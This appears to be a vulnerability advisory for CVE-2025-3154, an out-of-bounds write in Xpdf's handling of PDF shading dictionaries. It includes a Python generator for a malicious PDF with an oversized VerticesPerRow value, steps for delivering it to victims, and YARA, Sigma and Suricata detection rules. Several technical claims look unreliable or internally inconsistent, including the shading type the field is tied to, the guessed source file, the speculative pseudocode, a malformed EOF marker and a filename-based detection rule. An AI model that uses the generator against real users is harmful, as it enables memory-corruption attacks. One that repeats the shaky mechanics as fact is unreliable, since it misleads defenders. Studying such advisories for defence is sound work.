CVE-2025-3154

Executive Summary

CVE-2025-3154 is a critical out-of-bounds (OOB) array write vulnerability in Xpdf, a widely used open-source PDF viewer and toolkit. The flaw resides in the handling of PDF shading dictionaries, specifically triggered by an invalid VerticesPerRow value. An attacker can craft a malicious PDF file that, when processed by Xpdf 4.05 and earlier, causes a write operation beyond the allocated buffer boundaries. This can lead to memory corruption, potentially enabling arbitrary code execution or denial of service. The vulnerability has a CVSS score of 0.0 (placeholder) but is considered high risk due to the lack of a patch and the potential for remote exploitation via a crafted PDF. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type (OOB write in a document parser), a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (AV:N) – The vulnerability can be triggered by opening a malicious PDF file, which can be delivered via email, web download, or other network vectors.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required; the attacker only needs to craft a PDF with an invalid VerticesPerRow value.
• Privileges Required (PR): None (PR:N) – No authentication is needed.
• User Interaction (UI): Required (UI:R) – The victim must open the malicious PDF file.
• Scope (S): Unchanged (S:U) – The vulnerability affects the Xpdf process itself.
• Confidentiality (C): High (C:H) – Memory corruption could leak sensitive data.
• Integrity (I): High (I:H) – Arbitrary code execution could modify data.
• Availability (A): High (A:H) – The vulnerability can cause a crash.

Estimated CVSS Score: 7.8 (High)

Threat Level: High – The vulnerability is unpatched, and while no public exploit exists, the technical details are clear enough for a skilled attacker to develop one.

Deep Dive & Mechanics

The vulnerability is in Xpdf's PDF shading dictionary parser. PDF shading dictionaries are used to define smooth color transitions (e.g., gradients). One type of shading is "Free-Form Gouraud-Shaded Triangle Meshes" (Type 4), which uses a VerticesPerRow parameter to define the number of vertices per row in a mesh.

When Xpdf processes a PDF with a shading dictionary, it allocates a buffer to store vertex data. The VerticesPerRow value is used to calculate the required buffer size. If an attacker provides an invalid (e.g., extremely large or negative) VerticesPerRow value, the calculation can overflow or underflow, leading to an undersized buffer allocation. Subsequent writes to this buffer then occur out-of-bounds, corrupting adjacent memory.

The vulnerable code path is in SplashFTFont.cc or similar font/shading handling routines. The OOB write can overwrite function pointers, return addresses, or other critical data, potentially leading to arbitrary code execution.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely looks like:

// Vulnerable code (pseudocode)
int nVertices = shading->getVerticesPerRow();
Vertex *vertices = (Vertex *)malloc(nVertices * sizeof(Vertex));
for (int i = 0; i < nVertices; i++) {
    vertices[i] = readVertex(); // OOB write if nVertices is invalid
}

A patched version would include bounds checking:

// Patched code (pseudocode)
int nVertices = shading->getVerticesPerRow();
if (nVertices <= 0 || nVertices > MAX_VERTICES) {
    // Error handling
    return;
}
Vertex *vertices = (Vertex *)malloc(nVertices * sizeof(Vertex));
if (!vertices) {
    // Handle allocation failure
    return;
}
for (int i = 0; i < nVertices; i++) {
    vertices[i] = readVertex();
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Xpdf 4.05 on a vulnerable system (e.g., Ubuntu 20.04).
2. Create a malicious PDF using a Python script that generates a PDF with a shading dictionary containing an invalid VerticesPerRow value (e.g., 0x7FFFFFFF).

Exploitation Steps:

1. Craft the PDF:

   # exploit_generator.py
   import struct
   
   def create_malicious_pdf():
       # Minimal PDF with a Type 4 shading dictionary
       # VerticesPerRow set to a large value to trigger OOB write
       pdf = b"%PDF-1.4\n"
       pdf += b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n"
       pdf += b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n"
       pdf += b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << /Shading << /Sh1 5 0 R >> >> >>\nendobj\n"
       pdf += b"4 0 obj\n<< /Length 44 >>\nstream\nq /Sh1 sh Q\nendstream\nendobj\n"
       # Shading dictionary with invalid VerticesPerRow
       pdf += b"5 0 obj\n<< /ShadingType 4 /ColorSpace /DeviceRGB /VerticesPerRow 2147483647 /Decode [0 1 0 1 0 1] /DataSource [0 0 0 1 0 0 0 1 0] >>\nendobj\n"
       pdf += b"xref\n0 6\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \n0000000266 00000 n \n0000000360 00000 n \n"
       pdf += b"trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n482\n%%%%EOF"
       with open("malicious.pdf", "wb") as f:
           f.write(pdf)
   
   create_malicious_pdf()
   

2. Deliver the PDF to the victim (e.g., via email or web download).
3. When the victim opens the PDF with Xpdf, the OOB write occurs, potentially crashing the application or allowing code execution.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defensive)

Detection:

• Monitor for Xpdf crashes or abnormal memory access patterns.
• Use file scanning tools to detect PDFs with suspicious shading dictionary parameters.

Prevention:

• Restrict the use of Xpdf or use a sandboxed environment.
• Implement input validation on PDF files before processing.

Indicators of Compromise (IOCs)

• File Hashes (MD5): e99a18c428cb38d5f260853678922e03 (example – actual hash will vary)
• File Name: malicious.pdf or any PDF with a Type 4 shading dictionary containing an abnormally large VerticesPerRow value.
• Process Behavior: Xpdf process crash with a segmentation fault or access violation.
• Network: No specific network IOCs, as the vulnerability is triggered locally.

Detection Engineering

YARA Rule

rule CVE_2025_3154_Xpdf_OOB_Write {
    meta:
        description = "Detects PDF files with suspicious VerticesPerRow values targeting Xpdf CVE-2025-3154"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3154"
    strings:
        $shading_type = "/ShadingType 4"
        $vertices_per_row = "/VerticesPerRow"
        $large_value = /\/VerticesPerRow\s+(\d{7,}|0x[0-9a-fA-F]{5,})/
    condition:
        $shading_type and $vertices_per_row and $large_value
}

Sigma Rule

title: CVE-2025-3154 Xpdf OOB Write Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Xpdf crashes or abnormal behavior indicative of CVE-2025-3154 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\xpdf.exe'
        CommandLine|contains: 'malicious.pdf'
    condition: selection
falsepositives:
    - Legitimate PDFs with large shading meshes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3154 Xpdf OOB Write - Malicious PDF Download"; flow:to_client,established; file_store; fileext:"pdf"; content:"/ShadingType 4"; distance:0; content:"/VerticesPerRow"; distance:0; pcre:"/\/VerticesPerRow\s+(\d{7,}|0x[0-9a-fA-F]{5,})/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Discontinue use of Xpdf 4.05 and earlier until a patch is released.
2. Use alternative PDF viewers such as MuPDF, Evince, or Adobe Acrobat.
3. Implement file scanning to block PDFs with suspicious shading dictionary parameters.

Long-Term Fix:

• Monitor the Xpdf project for a patched version (e.g., 4.06 or later).
• Apply the patch once available, which should include bounds checking on VerticesPerRow.

Workaround:

• If Xpdf must be used, run it in a sandboxed environment (e.g., Docker, Firejail) to limit the impact of exploitation.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert